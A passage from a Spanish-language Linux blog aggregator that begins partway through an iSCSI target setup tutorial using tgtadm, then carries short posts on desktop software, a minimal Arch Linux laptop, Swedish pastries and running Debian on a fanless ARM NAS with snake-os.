Creamos un target con ID 1 nombrado iqn.2014-05.lab.demo:sharedStorageTest

[root@san ~]# tgtadm --lld iscsi --mode target --op new --tid 1 --targetname iqn.2014-05.lab.demo:sharedStorageTest

A pesar de que el target iSCSI ya esta listo para contestar peticiones, aún no tiene un dispositivo de bloque asociado (que podría ser, una unidad de disco, un volumen lógico, e incluso un archivo), con el siguiente comando comprobamos que el target esta listo. Puede apreciarse que aún sin añadir un backing store ya existe la LUN 0, que sería como una controladora lógica.

[root@san ~]# tgtadm --lld iscsi --mode target --op show
Target 1: iqn.2014-05.lab.demo:sharedStorageTest
System information:
Driver: iscsi
State: ready
I_T nexus information:
LUN information:
LUN: 0
Type: controller
SCSI ID: IET 00010000
SCSI SN: beaf10
Size: 0 MB, Block size: 1
Online: Yes
Removable media: No
Prevent removal: No
Readonly: No
Backing store type: null
Backing store path: None
Backing store flags:
Account information:
ACL information:

Creamos un archivo de 1GB para utilizarlo como backing store y nos aseguramos de que este en el contexto correspondiente de SELinux:

[root@san ~]# dd if=/dev/zero of=/var/lib/tgtd/sharedLUNS/sharedStorage1.img bs=1M seek=1024 count=0
0+0 records in
0+0 records out
0 bytes (0 B) copied, 0.000229479 s, 0.0 kB/s
[root@san ~]# ls -ltrh /var/lib/tgtd/sharedLUNS/sharedStorage1.img
-rw-r--r-- 1 root root 1.0G May 12 13:21 /var/lib/tgtd/sharedLUNS/sharedStorage1.img
[root@san ~]# restorecon -R /var/lib/tgtd

Agregamos el archivo creado como backing store del target ID 1:

[root@san ~]# tgtadm --lld iscsi --mode logicalunit --op new --tid 1 --lun 1 --backing-store /var/lib/tgtd/sharedLUNS/sharedStorage1.img

Por ahora no nos adentraremos mucho en los aspectos de seguridad del protocolo iSCSI, como en su configuración por defecto tgtd no permite acceso a ningún nodo, abrimos el acceso a todos los iniciadores con el siguiente comando:

[root@san ~]# tgtadm --lld iscsi --mode target --op bind --tid 1 --initiator-address ALL

Verificamos los targets activos:

[root@san ~]# tgtadm --lld iscsi --mode target --op show
Target 1: iqn.2014-05.lab.demo:sharedStorageTest
System information:
Driver: iscsi
State: ready
I_T nexus information:
LUN information:
LUN: 0
Type: controller
SCSI ID: IET 00010000
SCSI SN: beaf10
Size: 0 MB, Block size: 1
Online: Yes
Removable media: No
Prevent removal: No
Readonly: No
Backing store type: null
Backing store path: None
Backing store flags:
LUN: 1
Type: disk
SCSI ID: IET 00010001
SCSI SN: beaf11
Size: 1074 MB, Block size: 512
Online: Yes
Removable media: No
Prevent removal: No
Readonly: No
Backing store type: rdwr
Backing store path: /var/lib/tgtd/sharedLUNS/sharedStorage1.img
Backing store flags:
Account information:
ACL information:

Para que los pasos realizados persistan a traves de reinicios, debe hacerse un dump de la configuración en ejecución y redireccionarlo al archivo targets.conf:

[root@san ~]# tgt-admin --dump
default-driver iscsi

<target iqn.2014-05.lab.demo:sharedStorageTest>
backing-store /var/lib/tgtd/sharedLUNS/sharedStorage1.img
</target>
[root@san ~]# tgt-admin --dump > /etc/tgt/targets.conf

Lunes 01 de septiembre de 2014

PCTux: Mejorar la velocidad de carga de aplicaciones con Prelink

Viernes 04 de julio de 2014

LaREPAWEB: WordPress merchandise

Viernes 06 de junio de 2014

LaREPAWEB: Concatenar filas de una tabla según la clave

Miércoles 30 de abril de 2014

LaREPAWEB: Monitoreo de Apache con Apache GUI en Windows

Jueves 04 de octubre de 2012

LugSaJu: La tecla que te salva del DESASTRE

Jueves 09 de agosto de 2012

Dear Martínez

Dear Martínez
La vida Linux

Software de mensajería instantánea Jitsi 1.0

La competencia entre los programas de mensajería instantánea a través de VoIP, video conferencia y más, es grande y todas satisfacen nuestras necesidades. Competidores somo Skype, Ekiga, lideran el poderío de uso, pero existen otras alternativas menos utilizadas por no ser famosas, pero de mejor dicción y predisposición de servicio al usuario, tal como Jitsi, antes conocido como SIP Communicator y que desde hace tan solo días, ha lanzado su nueva versión estable.

Jitsi 1.0 Software de mensajería instantánea Jitsi 1.0

El renovado Jitsi 1.0 reúne todas las funciones que se pueden encontrar en diversos programas con las herramientas VoIP, video conferencia, mensajería instantánea tanto para Windows como para Mac y GNU/Linux. Esta interfaz es sumamente cómoda y amigable, siendo intuitiva y fácil de utilizar. Es compatible con los protocolos más populares de mensajería instantánea y telefonía, pero también se le puede dar uso con las cuentas habituales de correo tales como Hotmail, Gmail o Yahoo, o bien otros como AIM, XMPP, Jabber, SIP y la posibilidad de emparejar la cuenta de la red social Facebook.

Entre sus características más destacadas se encuentra la de transferencia de llamadas atendidas o ciegas, el cambio de estado automático cuando el usuario no se encuentre utilizando el ordenador, la autoconexión, además de permitir grabar las llamadas para seguridad del usuario y el cifrado de protocolos SRTP Y ZRTP. No obstante, también permite establecimiento de conexión de medios directa mediante protocolo ICE, streaming de escritorio, almacenamiento de contraseñas cifradas, transferencia de archivos, soporte IPv6 para SIP y XMPP, etc.

 

Jueves 02 de agosto de 2012

Dear Martínez

Dear Martínez
La vida Linux

Aprende a tocar la guitarra con TuxGuitar

Un nuevo software para los amantes de la guitarra y la música, además de para aquellos aficionados que siempre quisieron aprender, existe una herramienta llamada TuxGuitar, siendo un editor visual de tablaturas y partituras de código abierto. Esta aplicación ha de ser ideal para llevarla consigo a cualquier parte. Desarrollada hace tiempo, es una idea que surgió para crear una herramienta que le haga competencia al popular Guitar Pro, pero que esta pueda ser utilizada por todo el mundo de forma gratuita.

Tux Guitar Aprende a tocar la guitarra con TuxGuitar

La herramienta de Tux Guitar es muy útil para el aprendizaje de la música y el arte de utilizar cualquier guitarra, aunque también cuenta con bajo, teclado y batería con el cual el usuario podrá aprender lo que no, o poner en práctica lo conocido en la materia. Desarrollado por la compañía Java, se puede abrir y exportar ficheros GP3, GP4 y GP5, además de ser compatible con los archivos del Guitar Pro, permitiendo que se pueda utilizar las partituras creadas para ese programa.

No solamente el Tux Guitar es un simple editor visual de partituras con el que se puede componer la música, sino también ofrece una gran variedad de efectos de sonido, soporte multipista, tempo, posibilidad de tercetos, scroll automático en la reproducción y muchas otras herramientas que lo ayudarán a formar su música tal como la disponga.

Lunes 16 de julio de 2012

Dear Martínez

Dear Martínez
La vida Linux

Nueva versión de MythTV 0.25 con soporte para Windows

El conocido reproductor de TV se ha escondido en la sombra de las noticias tecnológicas respecto a Linux durante un año y medio, sin tener novedades de ellas y varios retrasos en el desarrollo de la última versión del reproductor, por lo que MythTV anunció que ha sido liberado y trae 5200 cambios como si fuera poco. Muchos saben en qué consiste este software reproductor de TV y multimedia, por lo que les interesará saber sobre las novedades de cambios.

MythTV Nueva versión de MythTV 0.25 con soporte para Windows

En la versión 0.25 de MythTV se incluyen nuevas características que destacan el interés en los usuarios, como nuevas capacidades de aceleración de video, tales como VAAPI y video de DirectX2, mejoras de audio, incluyendo soporte para E-AC3, TrueHD y DTS-HD, mejoras de los metadatos que integra gestión de grabaciones y videos, una API para aplicaciones de terceros, para aprovechar la interacción con el frontend y backend, control del televisor y otros componentes AV a través del consumer electronics control, o la inclusión de un HTTP Live Streaming, para compartir el contenido de video en tiempo eral a través de la API integrada.

También se destaca en el nuevo reproductor MythTV, el MythMusic que ha sido completamente reescrito y MythVideo que ahora se ha integrado completamente, en lugar de ser distribuido como un plug-in por separado. Además, a través de MythThemes, todos los temas, incluyendo los de terceros, se pueden descargar directamente desde el selector de temas de la interfaz.

 

Martes 24 de abril de 2012

David Doe

David Doe
e2391

Un alias para fbshot

Para capturar la pantalla en mi sistema sin X suelo utilizar fbshot. Amo este pequeño programa por su simpleza y permitirme documentar mis andanzas en la terminal. Lo único que siempre me da flojera es tener que especificar si o si el nombre del fichero de salida :P

Por eso cree este alias:

alias fbs=’fbshot -s 5 ~/Screenshots/`date +%F_%H:%M:%S_$HOSTNAME.png`’

Ahora mis screenshots están ordenadas por fecha, hora y nombre de la maquina :D

EOF

Lunes 23 de abril de 2012

David Doe

David Doe
e2391

Terminal monocromático

Jugando..

#4DC791
archlinux tmux

#4D6791
archlinux tmux

#898960
archlinux tmux

EOF

Viernes 20 de abril de 2012

David Doe

David Doe
e2391

CLI BASED SYSTEM: Archlinux en Olivetti Pentium III

archlinux tmux tty-clock newsbeuter vitunes vim conky

Ese es Archlinux corriendo en mi notebook Olivetti con un procesador Pentium III 700mhz, 180mb de RAM y un disco rígido de 18gb. Es una configuracíon muy minimalista al punto de no tener Xorg instalado. Todas mis tareas las realizo desde la tty valiéndome de distintas CLI apps. Mención especial para tmux  con el cual puedo ejecutar diferentes terminales virtuales en una misma tty.

Ahora ¿Que puedo hacer desde un entorno tan básico? Con newsbeuter leo mis feeds, a traves de elinks navego por la web y, si lo quiero hacer de forma grafica tiro con links. Gestiono mi mail con mutt, veo videos con mplayer, imagenes con fbi y pdfs con fbgs, escucho musica con vitunes, uso nano para escribir tonterias y editar ficheros de configuracion, vim para programar y hnb para tomar notas. Manejo ordenadores remotos con ssh, descargo torrents con rtorrent, chateo mediante irssi+bitlbee y pruebo la seguridad de mi red con aircrack entre otras cosas.

Cuando compre esta note, me la entregaron con una placa PCMCIA wifi con chipset RALINK, así que en cuanto a ese aspecto no tuve ningun problema. Para administrar mis conecciones utilizo netcfg+wifi-select que es de lo mas minimalista que hay.

El unico problema que tengo es con el brillo, no hay forma de que se lo pueda bajar. No molesta demasiado por suerte, pero no me quejaria si se pudiese modificar. Probe con varias distros y lo mismo, no hay forma. Asi que todavia ando investigando. Sacando eso todo funciona de diez.

Me gusta mucho usar este entorno, siento que aprovecho toda la potencia de esta vieja laptop. Del grub al login hay alrededor de 22 segundos y en el arranque consume unos 18mb de RAM mas o menos, lo que no esta para nada mal. Mas allá de lo que pueda parecer, me resulta muy cómodo usar este sistema. No soy dependiente del mouse y casi siempre me muevo con atajos de teclado por lo que no tarde en acostumbrarme demasiado a usar tmux. Además, el touchpad no es lo mio :P

Por ultimo comentar que me encanta el hecho de poder llevar a cabo tantas tareas en una computadora que tiene mas de una decada. Soy partidario de que los ordenadores viejos pueden reutilizarse de una manera u otra :)

EOF

Jueves 05 de abril de 2012

Soft-Libre: GNOME 3.4 disponible con interesantes novedades
Soft-Libre: Wallpapers para Ubuntu 12.04 LTS
Soft-Libre: LibreOffice adquiere capacidad colaborativa en la nube + LibreOffice 3.5.2

Domingo 26 de febrero de 2012

Luciano Bello

Luciano Bello
Luciano's webpage

Lessons Learned: Fettisdagen y Semla

Fettisdagen, (martes de carnaval). Fet es grasa, mientras tisdag es martes. El sufijo en es el artículo determinado. Por lo tanto, el martes graso

Semla, Comida. Etimológicamente, viene de semilla. También llamado fastlagsbulle, es una berlinesa (bola de fraile, que le dicen) con crema y pasta de almendras en su interior.

SemlaFlickr
En el post sobre Lucía ya hemos hablado sobre lo sorprendentemente apegado que son los suecos a ciertas fiestas de origen religioso, incluso cuando solo el 23% de ellos dice cree en algo llamado dios (ya no decir "ser cristiano"). Este parece ser un nuevo caso de lo mismo.

En Argentina, así como en muchos (por no decir todos) países de América existe el carnaval. En otras palabras, festejar y comer antes de los 40 día de ayuno y penitencia por la Cuaresma que comienza el día siguiente, es decir, el Miércoles de Ceniza.

Acá, y en otros países nórdicos, no parece haber carnaval. Lo que sí hay es Fettisdagen. Éste podría ser un martes de lo más común, si no fuese porque se consumen enormes cantidades de semla.

Casualmente, ese martes me tocó ser el anfitrión del PhD fika (cuando los estudiantes de doctorado nos juntamos a tomar café y conversar), por lo me subí a la tradición y los invité con semla de distintos sabores. El sabor está dado por la crema, que puede ser común, de vainilla, con canela y otras variantes.

Los semlor (plural de semla) es algo tan popular en la cultura sueca que un detective de cuentos para chicos llamado Ture Sventon es adicto a estos (y también vuela en una alfombra mágica, pero no viene al caso).

Y este podría no ser único caso sueco de adición a semla. En el siglo XVII, rey Adolfo Federico habría muerto (literalmente) de un atracón después de clavarse 14 porciones de semla (tradicionalmente servidos con un tazón de leche caliente) como postre.

La receta, aquí.

Domingo 15 de enero de 2012

Luciano Bello

Luciano Bello
Luciano's webpage

Corriendo Debian en un server fanless

Debido a una reciente mudanza, he bajado unos servers que tenía corriendo en casa de mis padres. Sin embargo, en mi nuevo hogar estoy en proceso de generar una nueva DMZ, esta vez, sin ventiladores.

El primer paso de este proceso ocurrió en forma de weekend project y consiste en hacerme de un "servidor". Las comillas hacen referencia a que no se trata de un gran server sino un procesador ARM de 200Mhz y 32MB de RAM, lo que es suficiente para que corra Debian y algunos otros servicios que pueden ser interesantes.

Los ingredientes

  • Un all-in-one LAN server que es la forma en que DealExtreme llama a unos dispositivos con chips de la familia str8132. Dado que vamos a instalar snake-os en ellos (en este caso se trata de la versión 1.3.2-20111019), es importante chequear la lista de compatibilidad. En particular me hice de un NS-K330 por 40 dólares.
  • Storage USB, puede ser en la forma de stick o como disco portable.
  • Un RS232 to TTL level converter, también conocido como cable para Nokia N1200/1208/1650/2630/2670. Es para conectarse por serie a la consola. No lo necesitamos ahora mismo, pero está bueno tenerlo a mano en caso de brickearlo, aunque es un procedimiento que no explicaré esta vez.

Instalación de Snake-OS

Es realmente sencillo. Lo primero es bajar snake-os, desde la sección de downloads de la web. Es importante que el archivo sea de la forma snakeos-<versión>-from-original.zip Instalar el que dice from-snake lleva definitivamente al brickearlo y recuperarlo puede ser complejo.
Desde la página de administración del dispositivo hay que subir el archivo snakeos-<versión>-from-original.bin contenido en el zip bajado. Confirmar el md5sum no está de más.

Acceso inicial

Los datos para acceder a la nueva interfaz con el browser:

http://192.168.0.240 (si es que no hay un DHCP en la red)
usuario: admin
contraseña: snake

Por SSH la contraseña de root la misma y, al cambiarla por la página de administración, se cambia en todos los accesos.

Post instalación

Incluso cuando Max opine que el uso de memoria virtual está rumbo a la extinción (lo cierto es que tal vez no es la mejor idea cuando el storage es de estado sólido como en los pendrives), activé el uso de SWAP desde el menú Service-Swapfile.

Si se quieren las mismas prestaciones que se tenían con el firmware original, hay que instalar unos paquetes adicionales. El sistema de paquetes que utiliza snake-os es opkg y tiene que ser primero activado desde Service-Opkg. Los paquetes pueden bajarse desde la página de download de snake-os y se instalan desde System-Packages. En particular, pueden ser interesantes (siempre pensando en los features originales):
Transmission: Es un cliente de BitTorrent, para dejar tus descargas corriendo. Es bastante mejor que el original.
miniDLNA: Es el server de streaming compatible con DLNA/UPnP-AV. Está un poco verde, pero se está trabajando en su mejora.

Corriendo Debian dentro

Las instrucciones están acá. Aunque esto es lo más obvio y necesario:

wget http://snake-os.googlecode.com/files/debian_chroot.tgz
tar -xvf debian_chroot.tgz
mount -o bind /proc /usb/sda1/debian/proc
mount -o bind /dev /usb/sda1/debian/dev
chroot /usb/sda1/debian/

Esta instalación base requiere unos 200MB. Tiene todo el potencial de un Debian (¡porque lo es!).
Claro que falta ajustar varios detalles, pero será la piedra inicial para el resto.